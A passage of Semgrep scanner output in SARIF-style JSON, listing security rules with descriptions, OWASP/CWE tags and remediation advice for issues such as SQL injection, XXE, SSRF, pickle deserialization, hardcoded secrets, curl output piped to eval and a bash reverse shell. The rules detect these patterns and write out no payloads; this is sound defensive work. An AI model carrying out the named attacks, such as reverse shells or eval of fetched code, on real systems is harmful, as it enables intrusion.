program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user-entrypoint.missing-user-entrypoint)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","id":"dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","name":"dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.missing-user-entrypoint.missing-user-entrypoint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.curl.security.curl-eval.curl-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/bash.curl.security.curl-eval.curl-eval","id":"bash.curl.security.curl-eval.curl-eval","name":"bash.curl.security.curl-eval.curl-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.curl.security.curl-eval.curl-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","id":"java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","name":"java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"help":{"markdown":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection)\n - [https://docs.sqlalchemy.org/en/14/tutorial/data_select.html#tutorial-selecting-data](https://docs.sqlalchemy.org/en/14/tutorial/data_select.html#tutorial-selecting-data)\n","text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"helpUri":"https://semgrep.dev/r/python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","id":"python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","name":"python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Semgrep found a bash reverse shell"},"help":{"markdown":"Semgrep found a bash reverse shell\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.ci.security.bash-reverse-shell.bash_reverse_shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Semgrep found a bash reverse shell"},"helpUri":"https://semgrep.dev/r/generic.ci.security.bash-reverse-shell.bash_reverse_shell","id":"generic.ci.security.bash-reverse-shell.bash_reverse_shell","name":"generic.ci.security.bash-reverse-shell.bash_reverse_shell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.ci.security.bash-reverse-shell.bash_reverse_shell"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"NPM registry authentication token detected"},"help":{"markdown":"NPM registry authentication token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"NPM registry authentication token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","id":"generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","name":"generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","id":"python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","name":"python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","id":"scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","name":"scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file."},"help":{"markdown":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","id":"ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","name":"ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-exec-format-string.user-exec-format-string)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-exec-format-string.user-exec-format-string","id":"python.django.security.injection.code.user-exec-format-string.user-exec-format-string","name":"python.django.security.injection.code.user-exec-format-string.user-exec-format-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-exec-format-string.user-exec-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content."},"help":{"markdown":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html)\n - [https://vuejs.org/v2/guide/syntax.html#Raw-HTML](https://vuejs.org/v2/guide/syntax.html#Raw-HTML)\n","text":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content."},"helpUri":"https://semgrep.dev/r/javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","id":"javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","name":"javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.tainted-direct-response-django.tainted-direct-response-django)\n - [https://docs.djangoproject.com/en/5.0/ref/request-response/#httpresponse-objects](https://docs.djangoproject.com/en/5.0/ref/request-response/#httpresponse-objects)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/python.django.web.tainted-direct-response-django.tainted-direct-response-django","id":"python.django.web.tainted-direct-response-django.tainted-direct-response-django","name":"python.django.web.tainted-direct-response-django.tainted-direct-response-django","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.tainted-direct-response-django.tainted-direct-response-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Callable based on user input risks remote code execution."},"help":{"markdown":"Callable based on user input risks remote code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-callable.tainted-callable)\n - [https://www.php.net/manual/en/language.types.callable.php](https://www.php.net/manual/en/language.types.callable.php)\n","text":"Callable based on user input risks remote code execution."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-callable.tainted-callable","id":"php.lang.security.injection.tainted-callable.tainted-callable","name":"php.lang.security.injection.tainted-callable.tainted-callable","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-callable.tainted-callable"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption."},"help":{"markdown":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","id":"cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","name":"cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SoftLayer API Key detected"},"help":{"markdown":"SoftLayer API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SoftLayer API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","id":"generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","name":"generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-django.sqlalchemy-django)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-django.sqlalchemy-django","id":"python.django.db.sqlalchemy-django.sqlalchemy-django","name":"python.django.db.sqlalchemy-django.sqlalchemy-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-django.sqlalchemy-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential arbitrary code execution, piped to eval"},"help":{"markdown":"Potential arbitrary code execution, piped to eval\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Potential arbitrary code execution, piped to eval"},"helpUri":"https://semgrep.dev/r/javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","id":"javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","name":"javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"help":{"markdown":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","id":"javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","name":"javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","id":"java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","name":"java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: 